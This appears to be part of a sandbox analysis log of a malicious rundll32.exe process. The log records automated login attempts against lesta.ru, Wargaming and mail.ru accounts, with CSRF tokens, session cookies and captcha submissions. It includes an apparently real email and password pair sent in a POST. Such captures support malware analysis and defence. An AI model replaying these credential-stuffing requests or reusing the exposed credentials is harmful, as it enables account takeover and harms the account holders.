2023-12-10 16:49:59 UTC	176	IN	Data Raw: 7b 22 53 74 61 74 75 73 22 3a 22 4f 6b 22 2c 22 43 6f 6e 74 69 6e 75 65 22 3a 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 63 61 70 74 63 68 61 3d 31 26 66 61 69 6c 3d 31 26 6d 6f 64 65 3d 61 75 74 68 63 61 70 74 63 68 61 26 6d 6f 62 69 6c 65 5f 63 61 70 74 63 68 61 5f 61 75 74 68 3d 31 26 65 6d 61 69 6c 3d 6f 73 68 61 70 6f 76 2d 72 6f 73 74 69 73 6c 7a 31 39 38 34 63 25 34 30 62 6b 2e 72 75 26 6c 61 6e 67 3d 72 75 5f 52 55 26 63 61 70 74 63 68 61 5f 74 79 70 65 3d 30 22 7d Data Ascii: {"Status":"Ok","Continue":"https://account.mail.ru/login?captcha=1&fail=1&mode=authcaptcha&mobile_captcha_auth=1&email=oshapov-rostislz1984c%40bk.ru&lang=ru_RU&captcha_type=0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49955	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:01 UTC	400	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:3.4) Goanna/20180412 PaleMoon/27.9.0 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:50:04 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 30 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:50:04 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:50:04 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 42 34 5a 58 71 79 66 66 37 41 54 34 64 39 57 32 48 68 65 74 72 4f 55 77 45 52 45 79 4d 71 6f Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "B4ZXqyff7AT4d9W2HhetrOUwEREyMqo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49964	68.180.135.252	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:06 UTC	284	OUT	GET / HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:50:07 UTC	1292	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 30 36 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 34 34 0d 0a 73 65 72 76 65 72 3a Data Ascii: HTTP/1.1 200 OKreferrer-policy: no-referrer-when-downgradestrict-transport-security: max-age=31536000x-frame-options: SAMEORIGINcontent-type: text/html; charset=utf-8date: Sun, 10 Dec 2023 16:50:06 GMTx-envoy-upstream-service-time: 44server:
2023-12-10 16:50:07 UTC	649	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 44 37 73 64 57 55 43 45 45 4b 5f 4f 7a 71 43 36 50 72 54 6e 30 46 31 45 5a 74 77 59 50 49 46 45 67 45 42 41 51 45 39 64 32 56 5f 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 76 35 4e 53 4d 6b 32 6c 63 7a 65 71 54 61 77 74 77 67 6b 44 73 30 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 39 20 44 65 63 20 32 30 32 34 20 32 32 3a 35 30 3a 30 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e Data Ascii: X-Content-Type-Options: nosniffSet-Cookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAv5NSMk2lczeqTawtwgkDs0; Expires=Mon, 9 Dec 2024 22:50:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOn
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 66 39 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 54 4e 42 45 30 30 30 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 6e 64 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 62 75 63 6b 65 74 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 38 38 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 35 37 38 63 66 36 66 38 35 63 30 33 31 39 38 61 39 65 34 37 38 30 35 64 64 37 36 35 35 30 39 36 36 65 36 Data Ascii: f92<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bktTNBE000,MimicProviderListv2-copy,send_heimdall_homepage_bucket,seamless ua-chrome ua-88.0 isModern" lang=en-US><head><script nonce=578cf6f85c03198a9e47805dd76550966e6
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 74 3d 22 79 61 68 6f 6f 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 20 70 61 67 65 2c 20 79 61 68 6f 6f 20 68 6f 6d 65 70 61 67 65 2c 20 79 61 68 6f 6f 20 73 65 61 72 63 68 2c 20 79 61 68 6f 6f 20 6d 61 69 6c 2c 20 79 61 68 6f 6f 20 6d 65 73 73 65 6e 67 65 72 2c 20 79 61 68 6f 6f 20 67 61 6d 65 73 2c 20 6e 65 77 73 2c 20 66 69 6e 61 6e 63 65 2c 20 73 70 6f 72 74 2c 20 65 6e 74 65 72 74 61 69 6e 6d 65 6e 74 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 66 62 3a 61 70 70 5f 69 64 20 63 6f 6e 74 65 6e 74 3d 34 35 38 35 38 34 32 38 38 32 35 37 32 34 31 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 69 6d 61 67 65 20 63 6f 6e 74 65 6e 74 3d 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 73 6f 63 69 61 6c 2f 69 6d 61 Data Ascii: t="yahoo, yahoo home page, yahoo homepage, yahoo search, yahoo mail, yahoo messenger, yahoo games, news, finance, sport, entertainment"><meta property=fb:app_id content=458584288257241><meta property=og:image content=https://s.yimg.com/cv/apiv2/social/ima
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 72 7a 2f 6c 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 2f 2f 67 65 6f 2e 71 75 65 72 79 2e 79 61 68 6f 6f 2e 63 6f 6d 22 3e 3c 6c 69 6e 6b Data Ascii: icon" href="https://s.yimg.com/rz/l/favicon.ico"><link rel="dns-prefetch" href="//geo.yahoo.com"><link rel="preconnect" href="//geo.yahoo.com"><link rel="dns-prefetch" href="//geo.query.yahoo.com"><link rel="preconnect" href="//geo.query.yahoo.com"><link
2023-12-10 16:50:07 UTC	93	IN	Data Raw: 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 6e 67 79 2d 66 6f 6e 74 73 2f 59 61 68 6f 6f 53 61 6e 73 2d 56 46 2d 57 65 62 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a Data Ascii: img.com/cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2" as="font" type="font/woff2" crossorigin>
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 66 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 35 37 38 63 66 36 66 38 35 63 30 33 31 39 38 61 39 65 34 37 38 30 35 64 64 37 36 35 35 30 39 36 36 65 36 37 38 32 30 63 38 66 39 39 65 39 37 63 32 65 62 63 36 64 64 39 34 32 36 61 34 35 32 33 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 72 2f 66 70 2f 63 73 73 2f 66 75 73 69 6f 6e 2e 61 74 6f 6d 69 63 2e 32 38 35 31 36 36 32 37 39 37 61 64 30 32 38 36 64 37 39 39 65 64 37 65 33 62 32 65 64 33 31 65 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 66 70 2d 68 72 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 68 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 63 Data Ascii: fff9<style type="text/css" nonce="578cf6f85c03198a9e47805dd76550966e67820c8f99e97c2ebc6dd9426a4523">/* https://s.yimg.com/dr/fp/css/fusion.atomic.2851662797ad0286d799ed7e3b2ed31e.css */ #atomic .Bdc$--fp-hr${border-color:var(--fp-hr)}#atomic .Bdc\(\$c
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 66 3a 66 6f 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 38 32 38 61 39 33 5c 29 7b 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 75 72 70 6c 65 Data Ascii: ackground\)\:f:focus,#atomic .Bgc$--fp-background$\:h:hover{background-color:var(--fp-background)}#atomic .C$\#828a93${color:#828a93}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeholder{color:var(--battleship)}#atomic .C\(--blurple
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 31 37 70 78 5c 29 7b 67 61 70 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 47 70 5c 28 32 30 70 78 5c 29 7b 67 61 70 3a 32 30 70 78 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 48 5c 28 38 70 78 5c 29 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 36 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 37 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 32 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 32 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 34 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 5c 25 5c 29 7b 68 65 69 Data Ascii: 4px}#atomic .Gp$17px${gap:17px}#atomic .Gp$20px${gap:20px}.active .active_H$8px${height:8px!important}#atomic .H$160px${height:160px}#atomic .H$17px${height:17px}#atomic .H$26px${height:26px}#atomic .H$40\%${height:40%}#atomic .H$60\%${hei
2023-12-10 16:50:07 UTC	1300	IN	Data Raw: 65 6e 64 5c 28 31 36 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 34 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 34 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 65 6e 64 5c 28 35 38 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 38 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 30 70 78 5c 29 5c 21 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 34 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 30 70 78 7d 2e 64 65 73 6b 74 6f 70 20 2e 64 65 73 6b 74 6f 70 5f 4d 73 74 61 72 74 5c 28 33 32 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 Data Ascii: end$16px${margin-right:16px}#atomic .Mend$40px${margin-right:40px}#atomic .Mend$580px${margin-right:580px}#atomic .Mb$0px$\!{margin-bottom:0!important}#atomic .Mb$40px${margin-bottom:40px}.desktop .desktop_Mstart$32px${margin-left:32px!importa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49970	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:10 UTC	769	OUT	POST /id/signin/process/?type=captcha HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3; wgni_sessionid=697p1m13tzdr9gxhxu56gmy18fl4mzau User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363 Content-Length: 109 Content-Type: application/x-www-form-urlencoded accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://lesta.ru/id/signin/ x-csrftoken: hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3 x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:50:10 UTC	109	OUT	Data Raw: 6c 6f 67 69 6e 3d 32 33 2d 76 6f 76 61 6e 40 79 61 68 6f 6f 2e 63 6f 2e 75 6b 26 70 61 73 73 77 6f 72 64 3d 32 33 30 32 36 36 26 63 61 70 74 63 68 61 3d 34 39 30 36 38 31 33 26 6e 65 78 74 3d 25 32 46 69 64 25 32 46 73 73 6f 25 32 46 73 69 67 6e 69 6e 25 32 46 6e 6f 74 69 66 79 25 32 46 25 33 46 6e 65 78 74 25 33 44 25 32 46 Data Ascii: login=23-vovan@yahoo.co.uk&password=230266&captcha=4906813&next=%2Fid%2Fsso%2Fsignin%2Fnotify%2F%3Fnext%3D%2F
2023-12-10 16:50:11 UTC	436	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 31 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 2c 20 43 6f 6f 6b 69 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 72 75 0d 0a 50 33 50 3a 20 43 50 3d 22 41 4c 4c 20 41 44 4d 20 44 45 56 20 50 53 41 69 20 43 4f 4d 20 4f 55 52 Data Ascii: HTTP/1.1 409 ConflictServer: nginxDate: Sun, 10 Dec 2023 16:50:10 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 36Connection: closeVary: Accept-Language, CookieContent-Language: ruP3P: CP="ALL ADM DEV PSAi COM OUR
2023-12-10 16:50:11 UTC	36	IN	Data Raw: 7b 22 65 72 72 6f 72 73 22 3a 20 7b 22 63 61 70 74 63 68 61 22 3a 20 5b 22 69 6e 76 61 6c 69 64 22 5d 7d 7d Data Ascii: {"errors": {"captcha": ["invalid"]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49973	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:12 UTC	468	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.26 Safari/537.36 Core/1.63.5083.400 QQBrowser/10.0.972.400 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:50:13 UTC	2612	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 31 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:50:13 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:50:13 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 6e 34 4b 53 78 32 6a 77 75 75 52 4a 49 57 46 33 6b 6a 57 6d 52 61 53 34 4e 62 51 6b 33 68 44 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "n4KSx2jwuuRJIWF3kjWmRaS4NbQk3hD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49977	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:50:14 UTC	486	OUT	GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive Cookie: wgni_language=ru; wgni_csrftoken=hrH2DxkldkxVrjd2SWLbbv38MxiszU0jNmYReftw14lCxitUkyTj6zK77TBGmCe3; wgni_sessionid=697p1m13tzdr9gxhxu56gmy18fl4mzau User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22
2023-12-10 16:50:17 UTC	2168	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 30 3a 31 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 65 73 74 61 2e 72 75 2f 69 64 2f 73 65 73 73 69 6f 6e 77 69 64 67 65 74 2f 63 61 6c 6c 62 61 63 6b 2f 3f 65 72 72 6f 72 3d 61 63 63 65 73 73 5f 64 65 6e 69 65 64 26 65 72 72 6f 72 5f 64 65 73 63 72 69 70 74 69 6f 6e 3d 55 73 65 72 2b 6e 6f 74 2b 61 75 74 68 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 10 Dec 2023 16:50:17 GMTContent-Type: text/html; charset=utf-8Content-Length: 0Connection: closeLocation: https://lesta.ru/id/sessionwidget/callback/?error=access_denied&error_description=User+not+auth

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49986	217.20.155.16	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
